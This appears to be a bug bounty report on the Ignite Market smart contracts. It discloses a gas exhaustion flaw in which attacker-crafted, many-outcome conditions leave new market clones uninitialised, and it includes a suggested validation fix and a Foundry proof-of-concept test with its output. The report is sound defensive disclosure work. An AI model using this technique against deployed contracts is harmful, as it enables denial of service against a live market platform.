https://github.com/hackenproof-public/ignite-market-smart-contracts
The FixedProductMarketMakerFactory contract allows any user to attempt the creation of a new FixedProductMarketMaker (FPMM) instance via its createFixedProductMarketMaker function. This function, in turn, calls the initialize function on the newly cloned FPMM contract.
The FixedProductMarketMaker.initialize function takes an array of _conditionIds as input. It then calls the internal function _recordCollectionIDsForAllConditions to set up the necessary state based on these conditions and their respective outcomeSlotCounts (retrieved from the ConditionalTokens contract). The ConditionalTokens.prepareCondition function, which is also permissionless, allows users to create conditions with up to 256 outcomes.
The critical vulnerability lies in the _recordCollectionIDsForAllConditions function. Its computational and gas complexity grows multiplicatively with the outcomeSlotCount of each condition and linearly with the number of conditions. Specifically, the number of positionIds to be generated and stored (positionIds.push()) is the product of all outcomeSlotCounts.
The FixedProductMarketMaker.initialize function lacks sufficient input validation to check:
_conditionIds array.outcomeSlotCount for any individual condition being used.outcomeSlotCounts, which determines the loop iterations and storage operations in _recordCollectionIDsForAllConditions).A malicious actor (or even an unknowing user attempting to create a very complex market) can exploit this by:
ConditionalTokens.prepareCondition, each with a high outcomeSlotCount (e.g., 4 conditions with 70 outcomes each).FixedProductMarketMakerFactory.createFixedProductMarketMaker with this array of high-complexity condition IDs.When the FPMM's initialize function executes _recordCollectionIDsForAllConditions with such input, the number of required positionIds.push() operations and recursive calls becomes enormous, leading to gas consumption that will far exceed the block gas limit. This causes the initialize transaction to revert due to an out-of-gas error.
The consequence is that while the FPMM contract instance (the clone) is deployed to a new address, its initialization fails. The market contract is thus "bricked" – it exists on-chain but is in an uninitialized and unusable state. This constitutes a Denial of Service for the creation of functional market instances if parameters leading to excessive complexity are provided. While the factory itself remains operational for valid parameters, this flaw allows for the creation of unusable market contracts, potentially leading to on-chain clutter. This also highlights a discrepancy with any documentation suggesting markets are solely curated by a "dedicated markets team," as the code does not enforce such curation or complexity limits at the point of creation.
FixedProductMarketMaker.initialize:_conditionIds array (e.g., 3-5 conditions).outcomeSlotCount per Condition: While ConditionalTokens allows up to 256, the FPMM could enforce a lower practical limit for conditions it uses (e.g., 50-100 outcomes per condition)._recordCollectionIDsForAllConditions, iterate through the provided _conditionIds, fetch their outcomeSlotCounts from the ConditionalTokens contract, and calculate the product of these counts. If this product (which represents the total number of positionIds to be generated) exceeds a predetermined safe maximum (e.g., a few thousand, based on gas testing), the initialize function should revert with a clear error message. This is the most robust check.// Example check within initialize()
uint totalPositionComplexity = 1;
if (_conditionIds.length > MAX_CONDITIONS_ALLOWED) {
revert TooManyConditions();
}
for (uint i = 0; i < _conditionIds.length; i++) {
uint outcomeCount = conditionalTokens.getOutcomeSlotCount(_conditionIds[i]);
if (outcomeCount == 0 || outcomeCount > MAX_OUTCOMES_PER_CONDITION_ALLOWED) { // also check if condition is prepared
revert InvalidOutcomeCountForCondition();
}
if (MAX_TOTAL_POSITION_COMPLEXITY / outcomeCount < totalPositionComplexity) { // Check for overflow before multiplication
revert TotalComplexityExceedsLimit();
}
totalPositionComplexity *= outcomeCount;
}
if (totalPositionComplexity > MAX_TOTAL_POSITION_COMPLEXITY) {
revert TotalComplexityExceedsLimit();
}
// Proceed with _recordCollectionIDsForAllConditions
FixedProductMarketMakerFactory.createFixedProductMarketMaker function. This would restrict market creation privileges to whitelisted addresses. This is a larger design decision but would directly address the mismatch between documentation and code behavior. However, the input validation (Point 1) should be implemented regardless of access control to prevent even privileged users from accidentally bricking markets.ConditionalTokens, FixedProductMarketMakerFactory, and a collateral token (e.g., MockCoin).ConditionalTokens.prepareCondition multiple times (e.g., 4 times) to create conditions, each with a high outcomeSlotCount (e.g., 70 outcomes). The oracle address for these conditions can be any address.conditionIds for these crafted conditions.FixedProductMarketMakerFactory.createFixedProductMarketMaker using the array of these high-complexity conditionIds and other valid parameters (collateral token, fee, etc.).createFixedProductMarketMaker must revert. This is due to an out-of-gas error occurring within the FixedProductMarketMaker.initialize function, specifically during the execution of _recordCollectionIDsForAllConditions.create2Clone but its initialize function did not complete successfully.The following Foundry test demonstrates that an attacker can craft a set of conditions which, when used to initialize a new FixedProductMarketMaker, will cause the initialization transaction to run out of gas. This effectively "bricks" the specific market instance being created, preventing its successful deployment and use.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "forge-std/console.sol"; // For logging
import {FixedProductMarketMakerFactory} from "targets/ignite-market/contracts/FPMM/FixedProductMarketMakerFactory.sol";
import {ConditionalTokens} from "targets/ignite-market/contracts/ConditionalTokens/ConditionalTokens.sol";
import {MockCoin} from "targets/ignite-market/contracts/Test/MockCoin.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract IssueGasExhaustionOnInit is Test {
FixedProductMarketMakerFactory public factory;
ConditionalTokens public ct;
MockCoin public token;
address public attacker = vm.addr(1);
address public dummyOracle = vm.addr(2); // Oracle for preparing conditions
uint256 constant NUM_MALICIOUS_CONDITIONS = 4;
uint256 constant OUTCOMES_PER_CONDITION = 70;
function setUp() public {
console.log("--- Test Setup ---");
ct = new ConditionalTokens();
console.log("ConditionalTokens deployed at:", address(ct));
factory = new FixedProductMarketMakerFactory();
console.log(
"FixedProductMarketMakerFactory deployed at:",
address(factory)
);
token = new MockCoin();
console.log("MockCoin deployed at:", address(token));
vm.deal(attacker, 10 ether);
vm.deal(dummyOracle, 1 ether);
console.log("Attacker and DummyOracle funded.");
console.log("--------------------");
}
function test_BrickedMarket_DueToExcessiveConditionsAndOutcomes() public {
console.log(
"\n=== Test: BrickedMarket_DueToExcessiveConditionsAndOutcomes ==="
);
vm.startPrank(attacker);
console.log("[STEP 1] Attacker preparing malicious conditions...");
bytes32[] memory maliciousConditionIds = new bytes32[](
NUM_MALICIOUS_CONDITIONS
);
for (uint i = 0; i < NUM_MALICIOUS_CONDITIONS; i++) {
bytes32 questionId = keccak256(abi.encodePacked("MALICIOUS_Q_", i));
ct.prepareCondition(
dummyOracle,
questionId,
OUTCOMES_PER_CONDITION
);
maliciousConditionIds[i] = ct.getConditionId(
dummyOracle,
questionId,
OUTCOMES_PER_CONDITION
);
console.log(" - Malicious Condition Prepared -");
console.log(" Index:", i);
// console.log(" Question ID (as uint):", uint256(questionId)); // Can be verbose
console.log(" Condition ID (bytes32):");
console.logBytes32(maliciousConditionIds[i]);
}
console.log(
"[ASSERTION 1] Malicious conditions prepared successfully by attacker."
);
console.log(
"\n[STEP 2] Attacker attempting to create market with malicious conditions..."
);
console.log(
" Expected outcome: Transaction should revert due to gas exhaustion."
);
uint fee_ = 100;
uint treasuryPercent_ = 0;
address treasury_ = address(0);
uint fundingThreshold_ = 1000e6;
uint endTime_ = block.timestamp + 3600 * 24;
bytes32 salt = keccak256(abi.encodePacked("malicious-market-salt"));
vm.expectRevert();
factory.createFixedProductMarketMaker(
ct,
token,
maliciousConditionIds,
fee_,
treasuryPercent_,
treasury_,
fundingThreshold_,
endTime_,
salt
);
// If the code reaches here, vm.expectRevert() was satisfied.
console.log("[ASSERTION 2] Market creation reverted as expected.");
console.log(
"=========================================================="
);
vm.stopPrank();
}
}
Test Results:
forge test --match-path test/IssueGasExhaustionOnInit.t.sol -vvv
[⠊] Compiling...
[⠔] Compiling 61 files with Solc 0.8.29
[⠒] Solc 0.8.29 finished in 4.57s
Compiler run successful with warnings: ...
Ran 1 test for test/IssueGasExhaustionOnInit.t.sol:IssueGasExhaustionOnInit
[PASS] test_BrickedMarket_DueToExcessiveConditionsAndOutcomes() (gas: 1024212226)
Logs:
--- Test Setup ---
ConditionalTokens deployed at: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
FixedProductMarketMakerFactory deployed at: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
MockCoin deployed at: 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
Attacker and DummyOracle funded.
--------------------
=== Test: BrickedMarket_DueToExcessiveConditionsAndOutcomes ===
[STEP 1] Attacker preparing malicious conditions...
- Malicious Condition Prepared -
Index: 0
Condition ID (bytes32):
0xeaae36074f9016670a8a51ea578843374b26ca2bf28a602cf304b1521ac7bd9a
- Malicious Condition Prepared -
Index: 1
Condition ID (bytes32):
0x24d03ff9a1a6cc89b0759fa3856921e3166638f16974de5e0f89b81ef44d6b26
- Malicious Condition Prepared -
Index: 2
Condition ID (bytes32):
0xa0130016e6e2acffbce2d63f86b9e58197faca45cd6c892afff6838f016e2ad8
- Malicious Condition Prepared -
Index: 3
Condition ID (bytes32):
0xf4a54d8e7c1bf600eec2dab8a4367667ffc9a199b21f5ff8329c9e1ac9b4b216
[ASSERTION 1] Malicious conditions prepared successfully by attacker.
[STEP 2] Attacker attempting to create market with malicious conditions...
Expected outcome: Transaction should revert due to gas exhaustion.
[ASSERTION 2] Market creation reverted as expected.
==========================================================
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.05s (3.04s CPU time)
Ran 1 test suite in 3.05s (3.05s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Attachments are hidden
This information is not publicly available.
Comments are hidden
This information is not publicly available.